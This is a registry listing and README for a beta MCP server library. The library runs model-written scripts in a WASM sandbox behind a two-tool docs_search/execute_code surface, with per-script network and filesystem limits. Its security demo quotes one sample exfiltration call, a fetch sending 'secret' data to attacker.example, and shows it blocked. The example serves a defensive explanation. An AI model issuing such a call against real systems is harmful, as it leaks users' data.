Telleroutlook

io.github.telleroutlookPublished by GitHub account telleroutlookv1.1.1Updated Oct 24, 2026

WasmAgent MCP server — WASM-sandboxed code execution with capability manifests and Tasks API.

Overview

AI-generated overview

Lets an assistant run model-written scripts in a WASM sandbox that dispatch to registered tools through a two-tool docs_search and execute_code surface.

What you can do
This is a library for exposing a wasmagent agent as an MCP server. Instead of publishing every downstream tool to the host, it wraps a tool registry into a two-tool surface: docs_search plus execute_code, where a script calls callTool for whichever tools it needs. It is transport-agnostic, speaking JSON-RPC through a single handle method, with stdio, HTTP/Streamable and direct-call options. A CapabilityManifest enforces network and filesystem policy at the kernel boundary for each script.
When to use it
Worth adding when you have many downstream tools and want to cut the context cost of publishing all their schemas to the host, or when you want model-generated code to run under explicit network, filesystem, CPU and memory limits. The zero-config stdio default is described as useful only for sanity checks and introspection.
Requirements
A local Node.js runtime and the npm packages for the server, core and a kernel such as QuickJS. A real deployment needs a small Node script that registers your tools and calls runStdio with your own server; the zero-config default has no downstream tools. No accounts, API keys or environment variables are declared.
Before you install
The server executes model-generated code; rely on the CapabilityManifest to restrict allowedHosts, allowedPaths, cpuMs and memory, since an empty allowlist is what blocks network and filesystem access. The project is marked beta, so the API shape may change in minor versions. Review which downstream tools you register, because scripts can call any of them.

Installation

In SourceWeft

  1. Open Telleroutlook in the dashboard and add it to a workspace.
  2. Enable the server for the chats that should use its tools.

Desktop only via STDIO. STDIO servers start a local process, so they need the SourceWeft desktop host.

Other MCP clients

Follow the launch instructions in the repository.

README

/mcp-server

Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.

[Glama MCP server]

Expose any wasmagent agent as a Model Context Protocol (MCP) server.

Part of wasmagent — a TypeScript + WASM agent runtime.

Before / After

Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:

diff
+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";+import { ToolRegistry } from "@wasmagent/core";
-// Before: host sees every tool directly — 40 tools × schema = huge context cost-server.setRequestHandler(ListToolsRequestSchema, () => ({-  tools: [...allFortyTools],-}));+// After: host sees ONLY docs_search + execute_code; model dispatches internally+const tools = new ToolRegistry();+// tools.register(...) — register your 40 tools here++await runStdio(createCodeModeServer({+  tools,+  kernel: new QuickJSKernel(),+  capabilities: { allowedHosts: [], cpuMs: 5_000 },+  serverInfo: { name: "my-agent", version: "1.0.0" },+}));

At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.

Install

bash
npm install /mcp-server /core

Three transports, one server

The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)

bash
# Zero-config default — code-mode server with VmKernel and no# downstream tools. Useful for sanity / introspection only.npx /mcp-server

For a real deployment, write a small Node script and call runStdio() with your own server:

ts
// server.mjsimport { createCodeModeServer, runStdio } from "/mcp-server/stdio";import { QuickJSKernel } from "/kernel-quickjs";import { ToolRegistry } from "/core";
const tools = new ToolRegistry();// tools.register(...)  — your tools here
await runStdio(createCodeModeServer({  tools,  kernel: new QuickJSKernel(),  capabilities: { allowedHosts: [], cpuMs: 5000 },  serverInfo: { name: "my-agent", version: "1.0.0" },}));

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)

ts
import { createCodeModeServer, createFetchHandler } from "/mcp-server";
const server = createCodeModeServer({ /* … */ });const handler = createFetchHandler(server);// In a Worker: export default { fetch: handler }

3. Direct handle()

If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().

Code-mode (two-tool surface)

createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.

Security demo

CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:

ts
import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";import { QuickJSKernel } from "@wasmagent/kernel-quickjs";import { ToolRegistry } from "@wasmagent/core";
const tools = new ToolRegistry();// tools.register(...)
await runStdio(createCodeModeServer({  tools,  kernel: new QuickJSKernel(),  capabilities: {    allowedHosts: [],           // no outbound network    allowedPaths: [],           // no filesystem access    cpuMs: 5_000,    memoryLimitBytes: 64 * 1024 * 1024,  },  serverInfo: { name: "my-agent", version: "1.0.0" },}));
// Model-generated code inside execute_code that tries to exfiltrate data:// fetch("https://attacker.example/exfil?data=secret")// → throws: network access denied — host "attacker.example" not in allowedHosts

The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.

License

Apache-2.0 — © wasmagent contributors

Source: packages/mcp-server/README.md at commit c1a573f

Tools

0
SourceWeft has not started this package in its sandbox yet, so its tools are not known.

Version history

1
  1. v1.1.1LatestSep 16, 2026

Score

50% of the applicable checks met

How complete this listing is, computed from the registry entry, the endpoint and public sources. Not a rating of the server and not a statement that it is safe or working today: reachability is a dated check, and no installs or reviews go into the score.

  • Reached in the last 30 days25 pts

    Keep the endpoint answering the MCP handshake; SourceWeft probes it every 30 days.

  • Auth declared10 pts

    Declare the credential headers in the registry entry, or keep the endpoint answering the probe so its auth can be classified.

  • Tools listed15 pts

    Answer tools/list without a credential, or ship a package that starts in a sandbox without one.

  • DescriptionRequired15 pts
  • Logo10 pts
  • Documentation15 pts
  • License10 pts